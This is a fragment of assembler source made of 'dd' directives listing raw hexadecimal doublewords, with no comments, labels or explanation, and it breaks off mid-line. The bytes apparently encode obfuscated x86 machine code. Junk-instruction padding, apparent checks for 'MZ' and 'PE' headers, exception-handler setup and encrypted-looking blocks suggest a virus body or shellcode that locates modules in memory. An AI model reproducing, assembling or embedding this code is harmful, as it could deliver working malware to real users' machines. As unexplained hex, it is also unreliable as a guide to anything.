0FFFFF470h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 2C35646h, 8D89527Fh, 5E7289Dh, 6AC18B5Fh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0E8E7C350h, 5105E75Ah, 6A95CF81h, 858D357Ch dd 5E71395h, 2ED1BD31h, 509005E7h, 5B5B5652h, 53006A90h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0BE9BF8AFh, 78F4402Ah, 2711BD23h, 6A05E7h, 6800Fh, 0CB810000h dd 521B01E9h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 7A8425C3h, 858D378Fh, 5EC25EEh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 70C35040h dd 891C8A29h, 5AB0B1Bh, 18499D01h, 0C08305E7h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 6DF3F70Eh, 3C0A1E2Dh, 0C820F5Dh, 0F000000h, 68Ah, 0EDB58900h dd 0F05E725h, 5750FFB7h, 643F19BFh, 4895B33h, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 1BB9CA0Fh, 66194D1Bh, 0BB60601Ah, 65EDF26Ch, 7E8h, 5EADFB00h dd 0CCA0DC21h, 0C7B5615Fh, 1028BB61h, 6A1FE1h, 5858960h dd 8905E720h, 0E70BF185h, 6A6105h, 1A4D95FFh, 8D8D05E7h dd 5EAA4AAh, 1FC19D2Bh, 0D1FF05E7h, 2AF9B529h, 0BD8305E7h dd 5E72B8Dh, 38850F01h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 6A1AC351h dd 0DBB79002h, 6E950h, 0EC90000h, 0E1BCF584h, 0DAB70F90h dd 1ABD95FFh, 0E9F905E7h, 0ECCh, 0E8h, 0ED815D00h, 5EC25F8h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 23C35242h dd 83D1E884h, 8166607Bh, 0FF371DEh, 38Fh, 0DA8B6600h, 8D5B5661h dd 0EA90FD85h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 0BAC4EC87h, 0FBADE26h dd 1885h, 12890F00h, 0E9000000h, 0Dh, 0A590FA3Eh, 0EFF0EE12h dd 8C5928F6h, 525090DBh, 576EB760h, 310F615Fh, 0C8BB5250h dd 0F609940h, 5A585A31h, 5FBB5058h, 907BCBB1h, 0A8B0Fh dd 5E90000h, 0FC000000h, 0DCCA9805h, 35FF64h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 0F797C355h, 776A2ED2h, 89648B5Eh, 25h, 6E900h dd 4A520000h, 855D9970h, 0FD85FFF8h, 6A05E714h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 2442C350h, 0E4B11E02h, 0BEAAC7BDh, 12C78166h, 39BD8B2Bh dd 8105E704h, 0E18FD8DFh, 66FF6A6Eh, 9D8BFA8Bh, 5E73185h dd 251B5FFh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 75D45FC3h, 0BC2251BBh, 1244BB66h dd 45195FFh, 4DE905E7h, 81000001h, 2A0635D3h, 14E83Dh dd 8B000000h, 590DEA6Fh, 0CDBF0BBFh, 6E4CEF26h, 82908114h dd 81662020h, 5B95E3D7h, 850F00B0h, 0 dd 852970E6h, 5E7025Dh, 1C059D8Bh, 71E405E7h, 613CD7B3h dd 106830Fh, 9D8B0000h, 5E72201h, 0FC8B60Fh, 381h, 0D98B6600h dd 6BAh, 0CE96000h, 4E000000h, 70E7DF51h, 0B69EE33Ch, 6080B1E2h dd 0DE815B56h, 3BB11BFAh, 0C18B6161h, 202DBD89h, 0E8C105E7h dd 6820F04h, 3000000h, 0E71BBD9Dh, 0E2F76605h, 72D78166h dd 53C82BF9h, 21D9D8Bh, 8B5F05E7h, 0B0CABFD1h, 816671D7h dd 0E931B5CBh, 98h, 77D8589h, 8BFC05E7h, 47554C85h, 0DE849h dd 62290000h, 0F0CFEECBh, 0EAFA5806h, 5FF42B6Ah, 8907C083h dd 0E71B5995h, 0C08305h, 90D9589h, 0D03B05E7h, 29830Fh dd 0B5890000h, 5E71721h, 13E9h, 18BFF000h, 0CB185E72h dd 8FB20A4Ch, 2E4BD9FFh, 0E65ED801h, 3BE9h, 59BD2300h dd 8B05E72Ah, 0FFFFFF8Dh, 0E4BB66FFh, 1E18334h, 22840Fh dd 81660000h, 836721D7h, 0FFFFFFA5h, 2EBBFEFFh, 894A7822h dd 47554C95h, 719D3349h, 0E905E720h, 0 dd 0A514B58Dh, 6A05EBh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 41DF9BC3h, 4F64FD00h, 806D2CD8h dd 6A18DBh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0CDC35141h, 0C873924Bh, 95FF260Ah, 5E721C1h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0DBC35747h, 8BF88B66h dd 0E71D199Dh, 10ABB905h, 0DB800000h, 0FCE18339h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 4EC35040h, 86B61A4Eh dd 0BF665E64h, 6AFCD046h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0CB0BC351h, 6674DF80h dd 0BD8BF88Bh, 5E72C39h, 6AC02Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0E165B8C3h, 0C380584Ch dd 0BA9Ch, 81660000h, 0AD41CCF7h, 0E8D1C233h, 0E983D003h dd 6AF47504h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 86C2C355h, 0B70147C8h, 0FEB64227h dd 27099D8Bh, 8B6605E7h, 51006ADAh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 3A468D6Eh, 9B5A6402h dd 5599D29h, 880D05E7h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0BB91C356h dd 12E9h, 946B6300h, 999C219Eh, 178D7A1h, 0A995CEC2h, 8B3A4436h dd 0E71AA995h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 0C2B5C27Eh, 6285D7Ah dd 0C5BD0940h, 0F05E709h, 684h, 859D0300h, 8B05E718h, 0E72A4D8Dh dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 0E7E20447h, 0BF0F44DDh, 8B50F5FEh, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 4FC35747h, 8B662C9Ah, 8388B7DEh dd 0E71865BDh, 840F0005h, 8Ch, 0B399D8Bh, 0B805E7h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0BEBAC357h, 0D564D33Bh, 248D8D60h, 6A05E74Dh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 40DDC353h, 7E8h, 84D35B00h, 0B4D13398h, 1FD19D8Bh dd 0FF5F05E7h, 50006AE1h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 7A775676h, 0BD8970B0h dd 5E72E71h, 2739BD83h, 0F0005E7h, 45184h, 0E9BD8B00h dd 8305E727h, 0E72739BDh, 840F0105h, 459h, 0BD83FA8Ah dd 5E72739h, 14860F03h, 6A000004h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 60A3C351h dd 13C1BD8Bh, 66F505E7h, 6AD98Ch, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 5D13B0C3h, 800D2587h dd 8B0F04E1h, 23h, 0BE8h, 70903F00h, 0C6D9A02Fh, 58729AFDh dd 0CE8h, 238D4D00h, 883C6772h, 0CB1AF5B2h, 0A5F5FC6h dd 19840FC9h, 66000001h, 858BF98Bh, 5E70699h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0F3C35040h, 2013E51Bh dd 33FE8B4Bh, 0E7130985h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 95126246h dd 76697C65h, 2721BD09h, 8B9005E7h, 8B6650DFh, 8C0F90DEh dd 6, 6716E781h, 6A0AA4h, 6E9h, 0EC19200h, 6856540Ch, 0FE9EEAE5h dd 81DF8B66h, 191A2404h, 6A0180h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 1716CC3h, 536BE0B9h dd 25BD8Bh, 95FF05E7h, 5E71B71h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 7C35242h, 9FA0C51Ah, 45A72907h dd 0BD8BF88Bh, 5E732D5h, 0A6468589h, 6A05EAh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 9BB535C3h dd 0AB1D3E85h, 0F6F5F67h, 0E7E9DBB7h, 0F5000001h, 0A63E858Bh dd 6A05EAh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 5FAE00C3h, 0C715ACh, 18h, 0A642B58Bh, 0DE805EAh dd 0FD000000h, 0A389944Ch, 2E54243Ch, 0D0CA3434h, 2FD9589h dd 8B5F05E7h, 0E7328985h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 1A263EECh dd 0D109CF81h, 6894E57h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 3C35747h, 99858B66h, 6A05E706h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 29E2C353h, 0E71385BDh, 4468905h, 8B8CB760h, 0E70A819Dh dd 60506105h, 0FE9h, 0FEE22500h, 0C9091C0Ah, 201B8E6h dd 0A6122D19h, 24348961h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0A2C35747h, 0D7420EDFh, 0E59D8B63h, 0E905E724h dd 13h, 57A6A7B4h, 0D2B973D9h, 0FE170D90h, 0A9AA98E5h dd 0FFEDA6DDh, 0EAA63EB5h, 11E805h, 0B5B90000h, 13FA1377h dd 65CBCFCFh, 54D9AE12h, 0E9C5C48Dh, 5, 26667D6Ch, 8B665BB2h dd 0F85768D8h, 0FE8B213Bh, 0A8243481h, 6A2124FBh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 9781C352h, 0EA3414B3h, 99D78166h, 8D27BB00h, 858D1546h dd 5EAA646h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 42C35040h, 1D9D8B5Ch, 8B05E725h, 0E704959Dh, 0B9605005h dd 44417483h, 24048961h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 0E6C35040h, 5FF120F9h, 1B7195FFh, 6A6105E7h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 5C30C357h, 86EDCB37h, 8B4646A1h, 0E72171BDh dd 3985C705h, 305E727h, 0E8000000h, 0Dh, 0E5C394DEh, 0B1218D0Bh dd 0BDF06C85h, 0F78166FBh, 835F262Bh, 0EAA646BDh, 840F0005h dd 3Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h dd 0E3C35141h, 37E917EEh, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 50A8C356h dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h dd 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 0CFF61CC3h, 4299AF88h, 11E8A8h, 0BCA00000h dd 0E1EB6062h, 8D19F1Ah, 0F400027Eh, 60858FB8h, 8BF1BF0Fh dd 0E71A2D9Dh, 0F5F6105h, 580h, 1A5ABF00h, 0BF662920h dd 0BD83BBB3h, 5E72739h, 850F03h, 66000004h, 0BD83D98Bh dd 5EAA646h, 0F0840F00h, 89000003h, 0E70B4DBDh, 46B5FF05h dd 6A05EAA6h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h dd 47000000h, 6A3AC357h, 323F68DBh, 158E0F64h, 0E9000000h dd 10h, 883A64E2h, 0D108EAD0h, 1E6884A3h, 4DE5F59Fh, 21995FFh dd 8BFC05E7h, 0EAA63AB5h, 91B58905h, 8005E713h, 6C787F3h dd 10001h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 6AC35646h, 0A97A760Fh, 50DE8B96h, 12E8h, 0F2B45B00h dd 0B67DBC91h, 0BFDC4607h, 0AE22DB54h, 0BB8D6829h, 7A98C442h dd 0E780965Bh, 46B5FFFBh, 6A05EAA6h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 432CC353h dd 44D0624Ch, 3195FF2Ch, 0E805E700h, 5, 0D1F1BA01h, 0DE84Ah dd 0FFC20000h, 0C84DB852h, 0A170A254h, 0B799E188h, 895B5BA6h dd 0E7234D9Dh, 3AB58B05h, 6A05EAA6h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0A819C350h dd 0BFAA5E34h, 91E05F92h, 858BF88Bh, 5E7187Dh, 5D35BF66h dd 0C48689h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0F2775EC3h, 0CDB589E2h, 8B05E71Bh dd 0E71AA995h, 65BD8B05h, 8305E705h, 6A04C2h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 56DA18C3h dd 24EDBD03h, 895B05E7h, 0CE92050h, 0E4000000h, 27AE18CBh dd 0D0E4CEC3h, 8D395576h, 0EABAC385h, 56006A05h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 55524A64h, 0ADF0FC3Dh, 259589B5h, 8905E720h, 0B886h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 237C170Bh, 269493h, 0DD8AB328h, 6A006Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 0FFB255C3h, 0EAA646B5h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0A0D26940h dd 0B1D03522h, 9D294F06h, 5E7162Dh, 1ABD95FFh, 6A05E7h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0E950D2C3h, 0Ch, 108C4052h, 44FC11B4h, 801CF398h, 6A243489h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 0E2ABC350h, 66B6E514h, 8E0FF98Bh, 5, 0FEEB8166h dd 46B5FF68h, 0E905EAA6h, 14h, 0ADF27852h, 8D39072Fh, 331EB4D7h dd 602FB09Fh, 78C801BEh, 77995FFh, 0B50105E7h, 5E701CDh dd 2D0DBD83h, 0F0005E7h, 1A84h, 0E3BF6600h, 8B6650A1h dd 243489F9h, 0AE9h, 0F9DA0D00h, 62B2EFACh, 0FFA94146h dd 0EAA646B5h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 0F05CBAFh, 10E9FFBFh dd 6B000000h, 3175AA4Ch, 0AD5F7540h, 69A43E7Ah, 0FF473DEEh dd 0E7243595h, 0D8BF6605h, 46B5FF26h, 8905EAA6h, 0E72159BDh dd 6D95FF05h, 6A05E707h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 3A5BC350h, 7DC95E45h dd 0DF81F4E1h, 459608EEh, 2D85BD83h, 0F0205E7h, 2584h dd 598D8900h, 8B05E70Bh, 0E7118585h, 0EF816605h, 0C6491Eh dd 5E800h, 90A00000h, 8B2348ABh, 0E71A45BDh, 85C75B05h dd 5E72319h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0B9C35646h dd 194D1B1Bh, 5D69BF51h, 0E95B7CD6h, 0FFFFF29Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 35C35545h, 118E0F17h dd 0E9000000h, 0Ch, 8208554Fh, 0E4616FE8h, 60F4C86Dh, 0B589C18Bh dd 5E707E1h, 0E0000BAh, 0EA81F0h, 83F00000h, 958914C2h dd 5E70635h, 8D14EA83h, 0EC356585h, 0FF645005h, 35h, 25896400h dd 0 dd 0E8h, 0C22B5800h, 0FFF00025h, 388166FFh, 850F5A4Dh dd 12h, 3C50B70Fh, 3A81D003h, 4550h, 0A840Fh, 2D0000h dd 0E9000010h, 0FFFFFFD9h, 8589C88Bh, 5E7134Dh, 0F3C4003h dd 890650B7h, 0E7037595h, 50508B05h, 2A099589h, 0F80505E7h dd 8B000000h, 0D1030C50h, 0A6D9589h, 500305E7h, 11958908h dd 6405E706h, 58Fh, 0C4830000h, 13E904h, 8B510000h, 8110244Ch dd 0B0A9h, 100000h, 0C0335900h, 9BD83C3h, 5E718h, 24840Fh dd 85C60000h, 5E732A5h, 0A7D26847h, 0B5FFD49Ah, 5E72B05h dd 7DA1858Dh, 0D0FF05EAh, 0D0FF006Ah, 23D8589h, 0D38B05E7h dd 36568D8Dh, 0B70F05ECh, 0A98D89D9h, 0C705E71Ah, 0E72A4D85h dd 5FA405h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 0B4530A6Fh, 273985C7h, 5E7h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0B5FFA9C3h, 5E70595h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0EFC35646h, 0FE9h, 5F26FD00h, 123E4014h dd 0B37BB659h, 0A406C4B8h, 179595FFh, 5E905E7h, 4A000000h dd 0D5F1F6B6h, 95FF006Ah, 5E721C1h, 4FEBC08Bh, 0AEF28B45h dd 299EF79h, 62449EC1h, 1DA7F198h, 0D61C29DAh, 8D38449Ch dd 8720FFE0h, 83B6114Eh, 7A775676h, 9C0F70B0h, 0AF5C080Fh dd 4D15E54Dh, 0E3CA79E3h, 0BEB6024Ch, 0F7A041Fh, 0EB6E8D06h dd 0F1635387h, 456AE418h, 0D1503E8Eh, 8D31F31Bh, 0EC375C8Dh dd 0FFBA6605h, 0FE995h, 7DA90000h, 4D7E0D01h, 0C208153Eh dd 80BA764Fh, 0A98D894Fh, 0F05E71Ah, 85C7C2BFh, 5E72A4Dh dd 6040h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 3C35646h, 6B9B529h, 958B05E7h, 5E70ABDh, 273985C7h dd 5E7h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 48635CC3h, 9017CF4Bh, 950187D8h dd 5E7033Dh, 0E345F781h, 0B5FF64F3h, 5E71555h, 0C01BD8Bh dd 95FF05E7h, 5E71795h, 2F098D89h, 6A05E7h, 21C195FFh dd 0C08B05E7h, 82CC1CEBh, 66BE3F04h, 0F022BD61h, 5A8D3A53h dd 1DA8484Ah, 0D9FC7465h, 587C7E5Ah, 12E8E620h, 83000000h dd 2AB22767h, 0BDB7E72Ch, 0FAE3B8A8h, 1DD30243h, 0B5BF56Eh dd 0E71A0D95h, 0B5C38105h, 89000061h, 0E706BDB5h, 0FF63305h dd 484h, 99BA6600h, 330C8BAFh, 0C181D4B6h, 0D853497h, 5A59D89h dd 0E98105E7h, 54538816h, 9598D89h, 0F18105E7h, 66C8843Fh dd 14E9h, 0EAE49800h, 4BA77F94h, 964B61ACh, 8DBFCB99h dd 3139E38Dh, 0E960515Ch, 10h, 305DD2B4h, 40211A2Bh, 5027585h dd 0C679E74Eh, 8F61C68Ah, 0B8663304h, 51603EF1h, 9D8B58FCh dd 5E71641h, 7EE8161h, 8B58AD45h, 0E71A8185h, 3C68105h dd 8158AD45h, 0FF9F34FEh, 11850FFFh, 0F000000h, 2DE9D3B7h dd 5B000000h, 3EF53EADh, 0B015168Dh, 0FE9h, 0B0842B00h dd 80A9379Ah, 0A2513BA4h, 0EC1D594Bh, 0FFFF50E9h, 132FB9FFh dd 0D10D52D2h, 0C699FB4Eh, 0EE8h, 6FCBE900h, 5D9A96AAh dd 0F3601A08h, 899CF564h, 0E71969BDh, 958B5805h, 5E700B5h dd 64F1C081h, 9D290000h, 5E70C85h, 89AB11BFh, 5F7812Fh dd 8B2F89B2h, 0E717C595h, 0B9308B05h, 35247CC9h, 2305F681h dd 0AE95294h, 0C9000000h, 5841C7EAh, 5FD20EEFh, 69F68120h dd 816CD341h, 0CECC36F2h, 0ADEE8119h, 3133D679h, 0E71C059Dh dd 85895605h, 5E720E1h, 0C181008Fh, 300F1641h, 0C585E881h dd 0BD0972FBh, 5E70AD9h, 0C581C081h, 9D0172FBh, 5E71365h dd 1EF81h, 850F0000h, 0FFFFFF99h, 29B58D8Bh, 0DA2005E7h dd 32200139h, 84F83251h, 0D684F5F4h, 579188DEh, 6907E602h dd 23D89CBBh, 0BEE604D7h, 324FE9E8h, 9D290130h, 7B736AE0h dd 0DCBF034Fh, 0BA46B833h, 39788F8h, 6904E626h, 0B68F0598h dd 324003D4h, 8FA3F9BBh, 37F71DB5h, 648C0E30h, 58040130h dd 31EA5730h, 12010130h, 0BBDEC26Eh, 0B3442544h, 2B242574h dd 74100130h, 825DC266h, 0AD161D75h, 2BDBB419h, 0A78804D7h dd 37672269h, 3242A2D9h, 322DE830h, 106C0130h, 8D2A5309h dd 0C19E256Ah, 0DB00DEB6h, 3201013Dh, 48C37357h, 0CDDE2BC4h dd 0C356652Eh, 0BD1F9165h, 3208013Ch, 32028B3Fh, 0B50D0130h dd 32010130h, 3C050E60h, 62400130h, 3D725162h, 3D485B01h dd 68FF8A01h, 326E9168h, 3201E965h, 6F210130h, 5E095CF3h dd 76C10514h, 32350514h, 67550130h, 0B99646F3h, 0D500B485h dd 7E030E35h, 326BFF14h, 3283E961h, 6B600130h, 7EA958F3h dd 76910514h, 321F0514h, 63450130h, 24A247F3h, 0D38B6132h dd 52E1C2BBh, 0F1A381C9h, 0D8A16751h, 0DA482C9Fh, 32080123h dd 0F2A95CC1h, 539843D3h, 10079B99h, 9FE6B39Bh, 54D5F56Bh dd 0B17FFBBBh, 327A2DF0h, 320BE963h, 69240130h, 6E8B5AF3h dd 76800514h, 32980514h, 61030130h, 890C5FF3h, 0BFA26DFEh dd 326209BBh, 3207E967h, 6D220130h, 4E885EF3h, 76010514h dd 32550514h, 65670130h, 0C758CDF3h, 0CE408A56h, 19BDB4B9h dd 0B36404D7h, 3DFE3709h, 328101B4h, 67406B30h, 322002D8h dd 0F14D2130h, 1664886Dh, 16408034h, 32021634h, 0F1544430h dd 0CD19232Ch, 0BB49C0B3h, 0D52A54BDh, 0DB298135h, 335E843Fh dd 326E0130h, 3201E962h, 68210130h, 66095BF3h, 76C10514h dd 323D0514h, 60520130h, 42B247F3h, 525DA99h, 54C241C6h dd 738AF0BBh, 62806B31h, 324002D8h, 0F1782130h, 16548868h dd 164C8034h, 32041534h, 0F1524130h, 58C90253h, 31685330h dd 12400130h, 0BB7AC26Ah, 0B3142564h, 2F0C2574h, 70040130h dd 826DC262h, 88B63F6Fh, 0F3A1FC67h, 11C59CBBh, 0F3A304D7h dd 63106B35h, 320802D8h, 0F15D2130h, 164E8869h, 16458034h dd 32801A34h, 0F1114030h, 618342Ah, 0B81AD51Eh, 13159C1Bh dd 0A78D04D7h, 37E50D79h, 799138B1h, 0B78F8A73h, 32400194h dd 0DA70015Ah, 32100133h, 6ACB5910h, 362045B9h, 362645B1h dd 32010125h, 0CE435170h, 16CD8CC8h, 0B925E67Dh, 0D53F3C8Dh dd 320BB935h, 326E0130h, 3201E966h, 6C210130h, 46095FF3h dd 76C10514h, 323D0514h, 64560130h, 5241BBF3h, 15BEA638h dd 3D7FD75Fh, 320104BEh, 4F44BF30h, 26A85545h, 3B200130h dd 2500C47Ah, 9D59FFDBh, 32DEFB98h, 0E09CA66Ch, 0B98AEF3Fh dd 0D58B4CA5h, 0D3BF5F35h, 0DA77015Ah, 32100133h, 6DCB5E10h dd 36207DB9h, 362645B1h, 3201012Ch, 99435677h, 6A6F3976h dd 7D8F4F6Dh, 0F3853051h, 0BF0DE62Ah, 0DE3D188Dh, 508F8C35h dd 8A04ED0Ch, 33128244h, 16A18403h, 0FD0B04D7h, 0DA20E8F1h dd 32200139h, 84F83251h, 0D684F5F4h, 579188DEh, 6907E602h dd 83D89CBBh, 0A4F305E9h, 6AC08Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 3CB44DC3h, 7A3DF3C7h dd 0BF0F822Eh, 6AFCDAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 89408EC3h, 0E7169185h, 8BD38B05h dd 712ADEC3h, 4B46D4D4h, 557F01DCh, 525CD4C8h, 0B336398h dd 2633A9A9h, 265AF198h dd 1496EF5Eh, 4E60307Fh, 0A5E4FFB4h, 0D36F867h, 0A3BEA37Fh dd 23D92E39h, 0A3BA7967h, 23D4D539h, 3E3AD71Bh, 2933307Fh dd 2633831Dh, 0C6B6C098h, 76364AA4h, 1AE1D615h, 0D963AC74h dd 0C132750Dh, 2664839Dh, 23593598h, 1AD11F15h, 0AB634874h dd 0CA0F741Dh, 0B3CC039Dh, 23D485A9h, 0A23C1493h, 26336AA1h dd 1AD1B015h, 0CE639F74h, 26334DAAh, 0A3BEF6D8h, 23DF6F70h dd 0C4B624C8h, 763638A4h, 2F8EFF67h, 0E2B0307Fh, 0C4B61794h dd 7636A1A4h, 1AE12315h, 0D9635674h, 0C132080Dh, 26513D9Dh dd 0AD666A98h, 74646474h, 2E4E11CEh, 24DA8DABh, 6633A698h dd 260CD3DFh, 0D9C62C97h, 0EF002B67h, 0CF3B1713h, 263335B2h dd 31B948ABh, 0AD03A718h, 0AD63E868h, 2C88005Ah, 0CF33A998h dd 2633D49Bh, 0A57D896Fh, 0A13C3566h, 0D9CC656Ch, 7EFB4EC3h dd 0E638EEDFh, 0D9FDD697h, 0E7B85667h, 7F6C8EC6h, 2637A851h dd 1AE38815h, 0ABBE9F74h, 23DF739Dh, 9320h, 0E7FC7800h dd 7310271h, 0C783C8D0h, 850F4904h, 0FFFFFFF2h, 3E05B58Dh dd 8D8D05ECh, 5EC3E24h, 0E983CF2Bh, 8DC88B05h, 0EC3EB98Dh dd 0B9858905h, 6605E72Bh, 0FEC5EF81h, 1AA98D89h, 6A05E7h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 74A7A2C3h, 0C77068B6h, 0E72A4D85h, 6BA405h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0ACE36A92h, 52199199h, 0C3B70F42h, 273985C7h, 5E7h dd 0B58B0000h, 5E7252Dh, 595B5FFh, 0BD0905E7h, 5E71769h dd 179595FFh, 6AF805E7h, 0C195FF00h, 8B05E721h, 3E4FEBC0h dd 7B966D32h, 81059753h, 12396217h, 0DDAD28DAh, 0DC605D02h dd 0A42A7AB1h, 640CBEA5h, 0F0BAC6BCh, 603E9EDBh, 0CF2FA5F7h dd 0E1DB69ABh, 0FE9CD06Ah, 9B4FBD1Ch, 941D11B7h, 6A33FBD8h dd 0FC3BE15Ah, 13D8BCD6h, 2B9BF3A5h, 0E3DDF67h, 4EBCFF0h dd 27F36031h, 522E9h, 1306DE00h, 5CCD2D7Dh, 0AA6F76C6h dd 0F53CC414h, 3DEC0F5Fh, 2258EA7h, 4A9A30F9h, 97E77DB4h dd 0E131C76Ah, 0A87D131Eh, 12BEA28Fh, 60465A7Eh, 0BDAABFDBh dd 5491D3D9h, 4F5B9361h, 4B3481B0h, 336BBE3Dh, 0BF55D427h dd 54A1906Fh, 57A48D72h, 57A48575h, 200D22A5h, 5491D43Ch dd 0B446F6C4h, 63793D75h, 0C8B52BD4h, 5491D4E4h, 519E936Eh dd 893907B9h, 0D56DBA77h, 7482D96Fh, 6C55A287h, 91D49B7Fh dd 0EF552354h, 2572BF3Fh, 0B849558Dh, 6E93E379h, 6A9476C3h dd 47AD847Dh, 0A3B855FAh, 91D4D2B6h, 0D88C5A54h, 0B84347B3h dd 9E629A34h, 2908F948h, 0D12E3C93h, 0E31C2860h, 6D82974Eh dd 92969C80h, 0C7562454h, 549296E3h, 7B5F4C6Bh, 3549296h dd 0EE97CF35h, 1F03F005h, 0A7549297h, 0D7B6A1D9h, 59549296h dd 543A87A2h, 5E912FFDh, 19CC7CA9h, 0C00EB300h, 9AFC652Ah dd 0F0DCEE4Ch, 62E98427h, 0DE732E9Dh, 86E8A6Ch, 813EE8D0h dd 711F457Ch, 0CA000000h, 41F839C6h, 0D35B3F2Ch, 15E35491h dd 957334DDh, 5E5491D3h, 4250EEFCh, 8D2572BFh, 0FCC36D55h dd 1A4457Ch, 4F000000h, 0A8F534C6h, 0D8B0ADBFh, 